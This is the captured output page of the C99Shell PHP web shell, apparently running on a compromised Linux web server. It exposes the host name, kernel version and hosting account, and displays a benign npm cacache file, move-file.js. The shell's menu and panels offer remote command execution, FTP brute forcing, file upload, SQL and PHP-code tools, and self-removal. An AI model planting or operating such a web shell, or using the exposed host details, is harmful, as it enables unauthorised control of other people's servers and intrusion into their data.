!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/alt-nodejs16/root/usr/lib/node_modules/npm/node_modules.bundled/cacache/lib/util/   drwxr-xr-x
Free 293.23 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     move-file.js (1.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict'

const fs = require('@npmcli/fs')
const move = require('@npmcli/move-file')
const pinflight = require('promise-inflight')

module.exports = moveFile

async function moveFile (src, dest) {
  const isWindows = process.platform === 'win32'

  // This isn't quite an fs.rename -- the assumption is that
  // if `dest` already exists, and we get certain errors while
  // trying to move it, we should just not bother.
  //
  // In the case of cache corruption, users will receive an
  // EINTEGRITY error elsewhere, and can remove the offending
  // content their own way.
  //
  // Note that, as the name suggests, this strictly only supports file moves.
  try {
    await fs.link(src, dest)
  } catch (err) {
    if (isWindows && err.code === 'EPERM') {
      // XXX This is a really weird way to handle this situation, as it
      // results in the src file being deleted even though the dest
      // might not exist.  Since we pretty much always write files to
      // deterministic locations based on content hash, this is likely
      // ok (or at worst, just ends in a future cache miss).  But it would
      // be worth investigating at some time in the future if this is
      // really what we want to do here.
    } else if (err.code === 'EEXIST' || err.code === 'EBUSY') {
      // file already exists, so whatever
    } else {
      throw err
    }
  }
  try {
    await Promise.all([
      fs.unlink(src),
      !isWindows && fs.chmod(dest, '0444'),
    ])
  } catch (e) {
    return pinflight('cacache-move-file:' + dest, async () => {
      await fs.stat(dest).catch((err) => {
        if (err.code !== 'ENOENT') {
          // Something else is wrong here. Bail bail bail
          throw err
        }
      })
      // file doesn't already exist! let's try a rename -> copy fallback
      // only delete if it successfully copies
      return move(src, dest)
    })
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0035 ]--